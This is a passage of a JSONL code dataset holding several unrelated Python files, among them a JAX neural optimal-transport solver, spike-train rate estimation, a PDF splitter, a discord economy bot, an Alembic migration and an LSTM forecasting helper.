x_init=x_init\n        ).grad\n        finetune_source_hat = jax.vmap(finetune_source_hat)\n        source_hat_detach = jax.lax.stop_gradient(\n            finetune_source_hat(target, init_source_hat)\n        )\n      else:\n        source_hat_detach = init_source_hat\n\n      batch_dot = jax.vmap(jnp.dot)\n\n      f_source = f_value_partial(source)\n      f_star_target = batch_dot(source_hat_detach,\n                                target) - f_value_partial(source_hat_detach)\n      dual_source = f_source.mean()\n      dual_target = f_star_target.mean()\n      dual_loss = dual_source + dual_target\n\n      if self.amortization_loss == \"regression\":\n        amor_loss = ((init_source_hat - source_hat_detach) ** 2).mean()\n      elif self.amortization_loss == \"objective\":\n        f_value_parameters_detached = f_value(\n            jax.lax.stop_gradient(params_f), g_value_partial\n        )\n        amor_loss = (\n            f_value_parameters_detached(init_source_hat) -\n            batch_dot(init_source_hat, target)\n        ).mean()\n      else:\n        raise ValueError(\"Amortization loss has been misspecified.\")\n\n      if to_optimize == \"both\":\n        loss = dual_loss + amor_loss\n      elif to_optimize == \"f\":\n        loss = dual_loss\n      elif to_optimize == \"g\":\n        loss = amor_loss\n      else:\n        raise ValueError(\n            f\"Optimization target {to_optimize} has been misspecified.\"\n        )\n\n      if self.pos_weights:\n        # Penalize the weights of both networks, even though one\n        # of them will be exactly clipped.\n        # Having both here is necessary in case this is being called with\n        # the potentials reversed with the back_and_forth.\n        loss += self.beta * self._penalize_weights_icnn(params_f) + \\\n            self.beta * self._penalize_weights_icnn(params_g)\n\n      # compute Wasserstein-2 distance\n      C = jnp.mean(jnp.sum(source ** 2, axis=-1)) + \\\n          jnp.mean(jnp.sum(target ** 2, axis=-1))\n      W2_dist = C - 2. * (f_source.mean() + f_star_target.mean())\n\n      return loss, (dual_loss, amor_loss, W2_dist)\n\n    @jax.jit\n    def step_fn(state_f, state_g, batch):\n      \"\"\"Step function of either training or validation.\"\"\"\n      grad_fn = jax.value_and_grad(loss_fn, argnums=[0, 1], has_aux=True)\n      if train:\n        # compute loss and gradients\n        (loss, (loss_f, loss_g, W2_dist)), (grads_f, grads_g) = grad_fn(\n            state_f.params,\n            state_g.params,\n            state_f.potential_value_fn,\n            state_g.potential_value_fn,\n            state_g.potential_gradient_fn,\n            batch,\n        )\n        # update state\n        if to_optimize == \"both\":\n          return (\n              state_f.apply_gradients(grads=grads_f),\n              state_g.apply_gradients(grads=grads_g), loss, loss_f, loss_g,\n              W2_dist\n          )\n        if to_optimize == \"f\":\n          return state_f.apply_gradients(grads=grads_f), loss_f, W2_dist\n        if to_optimize == \"g\":\n          return state_g.apply_gradients(grads=grads_g), loss_g, W2_dist\n        raise ValueError(\"Optimization target has been misspecified.\")\n\n      # compute loss and gradients\n      (loss, (loss_f, loss_g, W2_dist)), _ = grad_fn(\n          state_f.params,\n          state_g.params,\n          state_f.potential_value_fn,\n          state_g.potential_value_fn,\n          state_g.potential_gradient_fn,\n          batch,\n      )\n\n      # do not update state\n      if to_optimize == \"both\":\n        return loss_f, loss_g, W2_dist\n      if to_optimize == \"f\":\n        return loss_f, W2_dist\n      if to_optimize == \"g\":\n        return loss_g, W2_dist\n      raise ValueError(\"Optimization target has been misspecified.\")\n\n    return step_fn\n\n  def to_dual_potentials(\n      self, finetune_g: bool = True\n  ) -> potentials.DualPotentials:\n    r\"\"\"Return the Kantorovich dual potentials from the trained potentials.\n\n    Args:\n      finetune_g: Run the conjugate solver to fine-tune the prediction.\n\n    Returns:\n      A dual potential object\n    \"\"\"\n    f_value = self.state_f.potential_value_fn(self.state_f.params)\n    g_value_prediction = self.state_g.potential_value_fn(\n        self.state_g.params, f_value\n    )\n\n    def g_value_finetuned(y: jnp.ndarray) -> jnp.ndarray:\n      x_hat = jax.grad(g_value_prediction)(y)\n      grad_g_y = jax.lax.stop_gradient(\n          self.conjugate_solver.solve(f_value, y, x_init=x_hat).grad\n      )\n      return -f_value(grad_g_y) + jnp.dot(grad_g_y, y)\n\n    return potentials.DualPotentials(\n        f=f_value,\n        g=g_value_prediction if not finetune_g or self.conjugate_solver is None\n        else g_value_finetuned,\n        cost_fn=costs.SqEuclidean(),\n        corr=True\n    )\n\n  @staticmethod\n  def _clip_weights_icnn(params):\n    params = params.unfreeze()\n    for k in params:\n      if k.startswith(\"w_z\"):\n        params[k][\"kernel\"] = jnp.clip(params[k][\"kernel\"], a_min=0)\n\n    return core.freeze(params)\n\n  @staticmethod\n  def _penalize_weights_icnn(params: Dict[str, jnp.ndarray]) -> float:\n    penalty = 0.0\n    for k, param in params.items():\n      if k.startswith(\"w_z\"):\n        penalty += jnp.linalg.norm(jax.nn.relu(-param[\"kernel\"]))\n    return penalty\n\n  @staticmethod\n  def _update_logs(\n      logs: Dict[str, List[Union[float, str]]],\n      loss_f: jnp.ndarray,\n      loss_g: jnp.ndarray,\n      w_dist: jnp.ndarray,\n  ) -> None:\n    logs[\"loss_f\"].append(float(loss_f))\n    logs[\"loss_g\"].append(float(loss_g))\n    logs[\"w_dist\"].append(float(w_dist))\n","sub_path":"src/ott/solvers/nn/neuraldual.py","file_name":"neuraldual.py","file_ext":"py","file_size_in_byte":20869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"405459976","text":"\"\"\"\n.. autofunction:: binned_spike_trains(trains, bin_size, start=0 ms, stop=None)\n.. autofunction:: psth(trains, bin_size, rate_correction=True, start=0 ms, stop=None)\n.. autofunction:: spike_density_estimation(trains, start=0 ms, stop=None, evaluation_points=None, kernel=gauss_kernel, kernel_size=100 ms, optimize_steps=None, progress=None)\n\"\"\"\nfrom __future__ import division\n\nimport scipy as sp\nimport quantities as pq\nimport neo\nfrom progress_indicator import ProgressIndicator\nfrom . import SpykeException\n\n\ndef _binned_spike_trains(trains, bins):\n    \"\"\" Return a binned representation of spike trains.\n\n    :param sequencs trains: A sequence of :class:`neo.core.SpikeTrain`\n        objects.\n    :param bins: The bin edges, including the rightmost edge.\n    :type bins: Quantity 1D\n    :returns: List of one-dimensional arrays of spike counts.\n    :rtype: list\n    \"\"\"\n    counts = []\n    for t in trains:\n        counts.append(sp.histogram(t.rescale(bins.units), bins)[0])\n\n    return counts\n\n\ndef binned_spike_trains(trains, bin_size, start=0*pq.ms, stop=None):\n    \"\"\" Return dictionary of binned rates for a dictionary of\n    spike train lists.\n\n    :param dict trains: A dictionary of :class:`neo.core.SpikeTrain` lists.\n    :param bin_size: The desired bin size (as a time quantity).\n    :type bin_size: Quantity scalar\n    :type start: The desired time for the start of the first bin.\n        It will be recalculated if there are spike trains which\n        start later than this time.\n    :type start: Quantity scalar\n    :param stop: The desired time for the end of the last bin. It will\n        be recalculated if there are spike trains which end earlier\n        than this time.\n    :type stop: Quantity scalar\n    :returns: A dictionary (with the same indices as ``trains``) of lists\n        of spike train counts and the bin borders.\n    :rtype: dict, Quantity 1D\n    \"\"\"\n    # Do not create bins that do not include all spike trains\n    max_start, max_stop = minimum_spike_train_interval(trains)\n\n    start = max(start, max_start)\n    start.units = bin_size.units\n    if stop is not None:\n        stop = min(stop, max_stop)\n    else:\n        stop = max_stop\n    stop.units = bin_size.units\n\n    # Calculate bin size\n    bins = sp.arange(start, stop, bin_size)*bin_size.units\n\n    # Create dictionary for all SpikeTrain lists\n    binned = {}\n    for s in trains:\n        b = _binned_spike_trains(trains[s], bins)\n        if b:\n            binned[s] = b\n\n    return binned, bins\n\n\ndef psth(trains, bin_size, rate_correction=True, start=0*pq.ms, stop=None):\n    \"\"\" Return dictionary of peri stimulus time histograms for a dictionary\n    of spike train lists.\n\n    :param dict trains: A dictionary of lists of :class:`neo.core.SpikeTrain`\n        objects.\n    :param bin_size: The desired bin size (as a time quantity).\n    :type bin_size: Quantity scalar\n    :param bool rate_correction: Determines if a rates (``True``) or\n        counts (``False``) are returned.\n    :param start: The desired time for the start of the first bin. It\n        will be recalculated if there are spike trains which start\n        later than this time.\n    :type start: Quantity scalar\n    :param stop: The desired time for the end of the last bin. It will\n        be recalculated if there are spike trains which end earlier\n        than this time.\n    :type stop: Quantity scalar\n    :returns: A dictionary (with the same indices as ``trains``) of arrays\n        containing counts (or rates if ``rate_correction`` is ``True``)\n        and the bin borders.\n    :rtype: dict, Quantity 1D\n    \"\"\"\n    if not trains:\n        raise SpykeException('No spike trains for PSTH!')\n\n    binned, bins = binned_spike_trains(trains, bin_size, start, stop)\n\n    cumulative = {}\n    time_multiplier = 1.0 / float(bin_size.rescale(pq.s))\n    for u in binned:\n        if rate_correction:\n            cumulative[u] = sp.mean(sp.array(binned[u]), 0)\n        else:\n            cumulative[u] = sp.sum(sp.array(binned[u]), 0)\n        cumulative[u] *= time_multiplier\n\n    return cumulative, bins\n\n\ndef aligned_spike_trains(trains, events, copy=True):\n    \"\"\" Return a list of spike trains aligned to an event (the event will\n    be time 0 on the returned trains).\n\n    :param dict trains: A list of :class:`neo.core.SpikeTrain` objects.\n    :param dict events: A dictionary of Event objects, indexed by segment.\n        These events (in case of lists, always the first element in the list)\n        will be used to align the spike trains and will be at time 0 for\n        the aligned spike trains.\n    :param bool copy: Determines if aligned copies of the original\n        spike trains  will be returned. If not, every spike train needs\n        exactly one corresponding event, otherwise a ``ValueError`` will\n        be raised. Otherwise, entries with no event will be ignored.\n    \"\"\"\n    ret = []\n    for t in trains:\n        s = t.segment\n        if s not in events:\n            if not copy:\n                raise ValueError(\n                    'Cannot align spike trains: At least one segment does' +\n                    'not have an align event.')\n            continue\n\n        if copy:\n            st = t.rescale(t.units)\n        else:\n            st = t\n\n        e = events[s]\n        st -= e.time\n        st.t_stop -= e.time\n        st.t_start -= e.time\n        ret.append(st)\n\n    return ret\n\n\ndef minimum_spike_train_interval(trains):\n    \"\"\" Computes the minimum starting time and maximum end time that all\n    given spike trains share.\n\n    :param dict trains: A dictionary of sequences of\n        :class:`neo.core.SpikeTrain` objects.\n    :returns: Maximum shared start time and minimum shared stop time.\n    :rtype: Quantity scalar, Quantity scalar\n    \"\"\"\n    start = -sp.inf * pq.s\n    stop = sp.inf * pq.s\n\n    # Load data and find shortest spike train\n    for st in trains.itervalues():\n        # Minimum length of spike of all spike trains for this unit\n        start = max(start, max((t.t_start for t in st)))\n        stop = min(stop, min((t.t_stop for t in st)))\n\n    return start, stop\n\n\ndef gauss_kernel(x, kernel_size):\n    return 1.0 / (sp.sqrt(2*sp.pi) * kernel_size) * \\\n           sp.exp(-0.5 *  (x / kernel_size)**2)\n\n\ndef _hist_density(hist, kernel, ksize, start, stop):\n    time_factor = (2048.0 * start.units / (stop - start)).simplified\n    kern = kernel(sp.arange(-1024,1024), ksize * time_factor)\n    kern *= time_factor / sp.sum(kern)\n    kde = sp.signal.convolve(hist, kern, 'same')\n    return kde\n\n\ndef _train_density(train, kernel, ksize):\n    bins = sp.linspace(train.t_start, train.t_stop, 1025)\n    hist = sp.histogram(train, bins)[0]\n    return _hist_density(hist, kernel, ksize, train.t_start, train.t_stop)\n\n\ndef spike_density_estimation(trains, start=0*pq.ms, stop=None,\n                             kernel=gauss_kernel, kernel_size=100*pq.ms,\n                             optimize_steps=None, progress=None):\n    \"\"\" Create a spike density estimation from a dictionary of\n    lists of spike trains.\n\n    The spike density estimations give an estimate of the instantaneous\n    rate. The density estimation is evaluated at 1024 equally spaced\n    points covering the range of the input spike trains. Optionally finds\n    optimal kernel size for given data using the algorithm from\n    (Shimazaki, Shinomoto. Journal of Computational Neuroscience. 2010).\n\n    :param dict trains: A dictionary of :class:`neo.core.SpikeTrain` lists.\n    :param start: The desired time for the start of the estimation. It\n        will be recalculated if there are spike trains which start later\n        than this time. This parameter can be negative (which could be\n        useful when aligning on events).\n    :type start: Quantity scalar\n    :param stop: The desired time for the end of the estimation. It will\n        be recalculated if there are spike trains which end earlier\n        than this time.\n    :type stop: Quantity scalar\n    :param func kernel: The kernel function to use, should accept\n        two parameters: A ndarray of distances and a kernel size.\n        The total area under the kernel function sould be 1.\n        Default: Gaussian kernel\n    :param kernel_size: A uniform kernel size for all spike trains.\n            Only used if optimization of kernel sizes is not used.\n    :type kernel_size: Quantity scalar\n    :param optimize_steps: An array of time lengths that will be\n        considered in the kernel width optimization. Note that the\n        optimization assumes a Gaussian kernel and will most likely\n        not give the optimal kernel size if another kernel is used.\n        If None, ``kernel_size`` will be used.\n    :type optimize_steps: Quantity 1D\n    :param progress: Set this parameter to report progress.\n    :type progress: :class:`spykeutils.progress_indicator.ProgressIndicator`\n\n    :returns: Three values:\n\n        * A dictionary of the spike density estimations (Quantity 1D in\n          Hz). Indexed the same as ``trains``.\n        * A dictionary of kernel sizes (Quantity scalars). Indexed the\n          same as ``trains``.\n        * The used evaluation points.\n    :rtype: dict, dict, Quantity 1D\n    \"\"\"\n    if not progress:\n        progress = ProgressIndicator()\n\n    if optimize_steps is None or len(optimize_steps) < 1:\n        units = kernel_size.units\n    else:\n        units = optimize_steps.units\n\n    # Prepare evaluation points\n    max_start, max_stop = minimum_spike_train_interval(trains)\n\n    start = max(start, max_start)\n    start.units = units\n    if stop is not None:\n        stop = min(stop, max_stop)\n    else:\n        stop = max_stop\n    stop.units = units\n    bins = sp.linspace(start, stop, 1025)\n    eval_points = bins[:-1] + (bins[1] - bins[0]) / 2\n\n    if optimize_steps is None or len(optimize_steps) < 1:\n        kernel_size = {u:kernel_size for u in trains}\n    else:\n        # Find optimal kernel size for all spike train sets\n        progress.set_ticks(len(optimize_steps)*len(trains))\n        progress.set_status('Calculating optimal kernel size')\n        kernel_size = {}\n        for u,t in trains.iteritems():\n            c = collapsed_spike_trains(t)\n            kernel_size[u] = optimal_gauss_kernel_size(\n                c.time_slice(start,stop), optimize_steps, progress)\n\n    progress.set_ticks(len(trains))\n    progress.set_status('Creating spike density plot')\n\n    # Calculate KDEs\n    kde = {}\n    for u,t in trains.iteritems():\n        # Collapse spike trains\n        collapsed = collapsed_spike_trains(t).rescale(units)\n        ksize = float(kernel_size[u])\n\n        # Create density estimation using convolution\n        kde[u] = _train_density(collapsed.time_slice(start, stop),\n            kernel, ksize) / len(trains[u]) / units\n        kde[u].units = pq.Hz\n    return kde, kernel_size, eval_points\n\n\ndef collapsed_spike_trains(trains):\n    \"\"\" Return a superposition of a list of spike trains.\n\n    :param iterable trains: A list of :class:`neo.core.SpikeTrain` objects\n    :returns: A spike train object containing all spikes of the given\n        spike trains.\n    :rtype: :class:`neo.core.SpikeTrain`\n    \"\"\"\n    if not trains:\n        return neo.SpikeTrain([], 0)\n\n    start = min((t.t_start for t in trains))\n    stop = max((t.t_stop for t in trains))\n\n    collapsed = []\n    for t in trains:\n        collapsed.extend(sp.asarray(t.rescale(stop.units)))\n\n    return neo.SpikeTrain(collapsed*stop.units, t_stop=stop, t_start=start)\n\n\ndef optimal_gauss_kernel_size(train, optimize_steps, progress=None):\n    \"\"\" Return the optimal kernel size for a spike density estimation\n    of a spike train for a gaussian kernel. This function takes a single\n    spike train, which can be a superposition of multiple spike trains\n    (created with :func:`collapsed_spike_trains`) that should be included\n    in a spike density estimation.\n\n    Implements the algorithm from\n    (Shimazaki, Shinomoto. Journal of Computational Neuroscience. 2010).\n\n    :param train: The spike train for which the kernel\n        size should be optimized.\n    :type train: :class:`neo.core.SpikeTrain`\n    :param optimize_steps: Array of kernel sizes to try (the best of\n        these sizes will be returned).\n    :type optimize_steps: Quantity 1D\n    :param progress: Set this parameter to report progress. Will be\n        advanced by len(`optimize_steps`) steps.\n    :type progress: :class:`spykeutils.progress_indicator.ProgressIndicator`\n    :returns: Best of the given kernel sizes\n    :rtype: Quantity scalar\n    \"\"\"\n    if not progress:\n        progress = ProgressIndicator()\n\n    x = train.rescale(optimize_steps.units)\n    steps = sp.asarray(optimize_steps)\n\n    N = len(train)\n    C = {}\n\n    bins = sp.linspace(x.t_start, x.t_stop, 1025)\n    dt = float(bins[1] - bins[0])\n    y_hist = sp.histogram(x, bins)[0] / N / dt\n    for step in steps:\n        s = float(step)\n        yh = _hist_density(y_hist, gauss_kernel, step,\n            train.t_start, train.t_stop)\n\n        # Equation from Matlab code, 7/2012\n        c = (sp.sum(yh**2) * dt -\n             2 * sp.sum(yh * y_hist) * dt +\n             2 * 1 / sp.sqrt(2 * sp.pi) / s / N)\n        C[s] = c * N * N\n        progress.step()\n\n    # Return kernel size with smallest cost\n    return min(C, key=C.get)*train.units\n","sub_path":"spykeutils/rate_estimation.py","file_name":"rate_estimation.py","file_ext":"py","file_size_in_byte":13253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"568686845","text":"from __future__ import unicode_literals, absolute_import\n\nimport hashlib\n\nfrom django.conf import settings\n\nfrom . import defaults\n\n\ndef get_setting(name):\n    try:\n        return getattr(settings, 'WAFFLE_' + name)\n    except AttributeError:\n        return getattr(defaults, name)\n\n\ndef keyfmt(k, v=None, s=None):\n    \"\"\" create a unique cache key\n        k = {}_CACHE_KEY see defaults.py\n        v = switch/flag/sample name\n        s = site\n    \"\"\"\n    prefix = get_setting('CACHE_PREFIX')\n    if v is None:\n        key = prefix + k\n    else:\n        if s is None:\n            site_unique = v\n        else:\n            site_unique = '%s:%d' % (v, s.id)\n        key = prefix + hashlib.md5((k % site_unique).encode('utf-8')).hexdigest()\n    return key.encode('utf-8')\n","sub_path":"waffle/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"187447512","text":"import sys\n\n\ndef fizzbuzz(line):\n\n\tfizz, buzz, length = map(lambda x: int(x), \\\n\t\t\t\t\t\t line.replace('\\n', '').split(' '))\n\n\tfbseries = ''\n\n\tfor num in range(1,length+1):\n\n\t\tif num % fizz == 0:\n\t\t\t\n\t\t\tif num % buzz == 0:\n\t\t\t\tfbseries+='FB'+' '\n\t\t\telif num % fizz == 0:\n\t\t\t\tfbseries+='F'+' '\n\n\t\telse:\n\n\t\t\tif num % buzz == 0:\n\t\t\t\tfbseries+='B'+' '\n\t\t\telse:\n\t\t\t\tfbseries+=str(num)+' '\n\t\t\t\n\treturn fbseries.rstrip(' ')\n\n\nif __name__ == '__main__':\n\t\n\twith open(sys.argv[1],'r') as input:\n\t\t\n\t\tfor line in input:\n\n\t\t\tprint(fizzbuzz(line))\n\n\tinput.close()","sub_path":"codeeval/fizzbuzz_easy.py","file_name":"fizzbuzz_easy.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"591642084","text":"#!/usr/bin/env python\n# Copyright 2020 Arista Networks.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n#     Unless required by applicable law or agreed to in writing, software\n#     distributed under the License is distributed on an \"AS IS\" BASIS,\n#     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#     See the License for the specific language governing permissions and\n#     limitations under the License.\nfrom __future__ import print_function\nfrom ctypes import CDLL, POINTER\nimport sys\nfrom CTypeGen import generate\n\nif len( sys.argv ) >= 2:\n   sanitylib = sys.argv[ 1 ]\nelse:\n   sanitylib = \"./libGreedyTest.so\"\n\nwarnCount = 0\nwarnings = []\n\nmodule, generator = generate(\n      sanitylib,\n      \"GreedyTest.py\",\n      types=lambda name, space, die: True,\n      functions=lambda name, space, die: True,\n      globalVars=lambda name, space, die: True )\n\ndll = CDLL( sanitylib )\nmodule.decorateFunctions( dll )\n\nf = dll.create_f( 42 )\nassert isinstance( f, POINTER( module.f ) )\nassert f[ 0 ].input == 42\nassert f[ 0 ].inputx2 == 42 * 2\nassert isinstance( f[ 0 ].g, POINTER( module.g ) )\nassert f[ 0 ].g[ 0 ].inputx3 == 42 * 3\nassert f[ 0 ].g[ 0 ].inputx4 == 42 * 4\nassert module.Globals( dll ).global42.value == 42\n","sub_path":"test/GreedyTestGen.py","file_name":"GreedyTestGen.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"487386719","text":"#!/usr/bin/env python\n\n# load My Class\nimport sys\nsys.path.append('./post')\nfrom class_lonslats import *\n\ninfilename = './lonslats.nc'\ncs = lonslats_plot(infilename)\n\n#infilename = '/scratch/jhkim/TestBed/KIM/Output/2.5.16/ne30/gnu/10h/SW_G/101/UP-20110725130000-000001.nc'\n#cs = lonslats_plot(infilename, False)\n\ncs.draw('test', True)\n\n\ncs.show()\n","sub_path":"program/cubed_sphere/post/draw_lonlat.py","file_name":"draw_lonlat.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"481846955","text":"from discord.ext import commands\nfrom utils import macro, client\nimport json\n\nclass Player(commands.Cog):\n    def __init__(self, bot: commands.Bot):\n        self.bot = bot\n        self.client = client.Client()\n        with open('config.json','r') as data:\n            data = json.load(data)\n    @commands.command(name='create')\n    async def create(self, ctx):\n        check = await self.client.get_value(ctx.message.author.id)\n        if len(check) > 0:\n            return await ctx.send(embed=await macro.error(\"You've already created an account.\"))\n        await self.client.create_value(ctx.message.author.id)\n        return await ctx.send(embed=await macro.send(f\"You've created an account! Your balance is now 0{data['currency']}\"))\n\n    @commands.command(name='bal')\n    async def bal(self, ctx):\n        check = await self.client.get_value(ctx.message.author.id)\n        balance = check[0][1]\n        return await ctx.send(embed=await macro.send(embed=await macro.send(f\"You have {balance}{data['currency']}\")))\ndef setup(bot:commands.Bot):\n    bot.add_cog(Player(bot))","sub_path":"EconomyExample/cogs/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"192389884","text":"# -*- coding: UTF-8 -*-\n\"\"\"\n@author: YaoLei\n@file: 05 批量提取PDF文件封面.py\n@time: 2019/10/15 8:53 下午\n\"\"\"\nimport os\n\nfrom PyPDF2 import PdfFileReader\nfrom PyPDF2 import PdfFileWriter\n\n\ndef split_pdf(infile):\n    \"\"\"\n    :param infile: 待拆分的PDF文件\n    :return: 无\n    \"\"\"\n    path = os.getcwd()\n    file_name = os.path.splitext(infile)[0]\n    file_ext = os.path.splitext(infile)[1]\n    # print('文件名、扩展名', file_name, file_ext)\n    out_path = os.path.join(path, 'PDF拆页')\n    # print(out_path)\n    if not os.path.exists(out_path):\n        os.makedirs(out_path)\n    with open(infile, 'rb') as infile:\n        reader = PdfFileReader(infile)\n        number_of_pages = reader.getNumPages()  # 计算此PDF文件中的页数\n        for i in range(number_of_pages):\n            writer = PdfFileWriter()\n            writer.addPage(reader.getPage(i))\n            out_file_name = out_path + '/' + file_name + '_' + str(i + 1) + '.pdf'\n            with open(out_file_name, 'wb') as outfile:\n                writer.write(outfile)\n    print('PDF拆分完成！')\n\n\ndef batch_split_file():\n    \"\"\"\n    批量拆分当前文件夹内PDF文件\n    :return:\n    \"\"\"\n    try:\n        for root, dirs, files in os.walk(os.getcwd()):\n            # print('root', root)\n            # print('dirs', dirs)\n            # print('files', files)\n            for file in files:\n                if os.path.splitext(file)[1] == '.pdf':\n                    split_pdf(file)\n                    print(file + ' 拆分完成')\n    except Exception as e:\n        print('错误', e)\n\n\nif __name__ == '__main__':\n    in_file = r'example.pdf'\n    out_path = './PDF拆页/'\n    # split_pdf(in_file)\n    batch_split_file()\n","sub_path":"Tools for Efficient Office/06 批量拆分PDF文件.py","file_name":"06 批量拆分PDF文件.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"360563441","text":"class Solution(object):\n  def sumOfDistancesInTree(self, N, edges):\n    children = [0]*N\n    depth = [0]*N\n    locs = [[] for i in range(N)]\n    output = [0]*N\n    for e in edges:\n      locs[e[0]].append(e[1])\n      locs[e[1]].append(e[0])\n    root = 0\n    done = [False]*N\n    def traverse(node):\n      done[node] = True\n      total = 1\n      for n in locs[node]:\n        if not done[n]:\n          total+=traverse(n)\n      children[node] = total\n      return total\n    traverse(root)\n    done = [False]*N\n    def calc_depth(node,val):\n      done[node] = True\n      depth[node] = val\n      for n in locs[node]:\n        if not done[n]:\n          calc_depth(n,val+1)\n    calc_depth(root,0)\n    done = [False]*N\n    done[0] = True\n    output[root] = sum(depth)\n    def calc_dist(node,parent):\n      done[node] = True\n      output[node] = output[parent]-2*children[node]+N\n      for n in locs[node]:\n        if not done[n]:  \n          calc_dist(n,node)\n    for n in locs[root]:\n      calc_dist(n,root)\n    return output","sub_path":"LeetCode/Contest/week-84/sum_distances.py","file_name":"sum_distances.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"543787316","text":"\"\"\"table 30\n\nRevision ID: 16808d07d765\nRevises: b2b8a3d9e364\nCreate Date: 2019-05-30 19:31:45.139039\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '16808d07d765'\ndown_revision = 'b2b8a3d9e364'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('gem', sa.Column('assigned_type', sa.String(length=64), nullable=True))\n    op.add_column('gem', sa.Column('confirmed_date', sa.DateTime(), nullable=True))\n    op.drop_column('gem', 'nomination_type')\n    op.drop_column('gem', 'nomination_date')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('gem', sa.Column('nomination_date', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))\n    op.add_column('gem', sa.Column('nomination_type', sa.VARCHAR(length=64), autoincrement=False, nullable=True))\n    op.drop_column('gem', 'confirmed_date')\n    op.drop_column('gem', 'assigned_type')\n    # ### end Alembic commands ###\n","sub_path":"migrations/versions/16808d07d765_table_30.py","file_name":"16808d07d765_table_30.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"116234102","text":"#!/usr/bin/env python3\n\"\"\"Script to forecast data using CNN AI.\"\"\"\n\n# Standard imports\nimport sys\nimport argparse\nimport csv\nimport os\nfrom pprint import pprint\nfrom math import sqrt\nimport time\n\n# Pip imports\nimport numpy as np\nimport pandas\nfrom keras.layers.core import Dense, Activation, Dropout\nfrom keras.layers.recurrent import LSTM\nfrom keras.models import Sequential\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\n\n\nclass Data(object):\n    \"\"\"Process data for ingestion.\n\n    Based on: https://machinelearningmastery.com/time-series-forecasting-long-short-term-memory-network-python/\n\n    \"\"\"\n\n    def __init__(self, data, lag=1):\n        \"\"\"Instantiate the class.\n\n        Args:\n            data: Dict of values keyed by timestamp\n            lag: Lag\n\n        Returns:\n            None\n\n        \"\"\"\n        # Initialize key variables\n        self.values = []\n        self.timestamps = []\n        self._lag = lag\n\n        # Get list of values\n        for timestamp, value in sorted(data.items()):\n            self.values.append(value)\n            self.timestamps.append(timestamp)\n\n        # Get data and scaled data\n        self.scaler, self.scaled_train, self.scaled_test = self._scaled_data()\n        self.scaled = np.vstack((self.scaled_train, self.scaled_test))\n\n    def _timeseries_to_supervised(self):\n        \"\"\"Transform Time Series to Supervised Learning.\n\n        The LSTM model in Keras assumes that your data is divided into input\n        (X) and output (y) components.\n\n        For a time series problem, we can achieve this by using the observation\n        from the last time step (t-1) as the input and the observation at the\n        current time step (t) as the output.\n\n        We can achieve this using the shift() function in Pandas that will\n        push all values in a series down by a specified number places. We\n        require a shift of 1 place, which will become the input variables. The\n        time series as it stands will be the output variables.\n\n        We can then concatenate these two series together to create a DataFrame\n        ready for supervised learning. The pushed-down series will have a new\n        position at the top with no value. A NaN (not a number) value will be\n        used in this position. We will replace these NaN values with 0 values,\n        which the LSTM model will have to learn as \"the start of the series\"\n        or \"I have no data here,\" as a month with zero sales on this dataset\n        has not been observed.\n\n        We take a NumPy array of the raw time series data and a lag or number\n        of shifted series to create and use as inputs.\n\n        Args:\n            None\n\n        Returns:\n            dataframe: DataFrame\n\n        \"\"\"\n        # Get difference values\n        diff_values = self._difference()\n\n        # Create series for supervised learning\n        dataframe = pandas.DataFrame(diff_values)\n        columns = [dataframe.shift(i) for i in range(1, self._lag + 1)]\n        columns.append(dataframe)\n        dataframe = pandas.concat(columns, axis=1)\n        dataframe.fillna(0, inplace=True)\n        return dataframe\n\n    def _difference(self, interval=1):\n        \"\"\"Create a differenced series.\n\n        The dataset may not be stationary. This means that there is a structure\n        in the data that is dependent on the time. Specifically, there could\n        be an increasing trend in the data.\n\n        Stationary data is easier to model and will very likely result in more\n        skillful forecasts.\n\n        The trend can be removed from the observations, then added back to\n        forecasts later to return the prediction to the original scale and\n        calculate a comparable error score.\n\n        A standard way to remove a trend is by differencing the data. That is\n        the observation from the previous time step (t-1) is subtracted from\n        the current observation (t). This removes the trend and we are left\n        with a difference series, or the changes to the observations from one\n        time step to the next.\n\n        We can achieve this automatically using the diff() function in pandas.\n        Alternatively, we can get finer grained control and write our own\n        function to do this, which is preferred for its flexibility in\n        this case.\n\n        Note that the first observation in the series is skipped as there is no\n        prior observation with which to calculate a differenced value.\n\n        Args:\n            None\n\n        Returns:\n            dataframe: DataFrame\n\n        \"\"\"\n        # Initialize key variables\n        values = self.values\n\n        # Create the difference and return\n        diff = []\n        for index in range(interval, len(values)):\n            value = values[index] - values[index - interval]\n            diff.append(value)\n        return pandas.Series(diff)\n\n    def invert_difference(self, inverted_class, 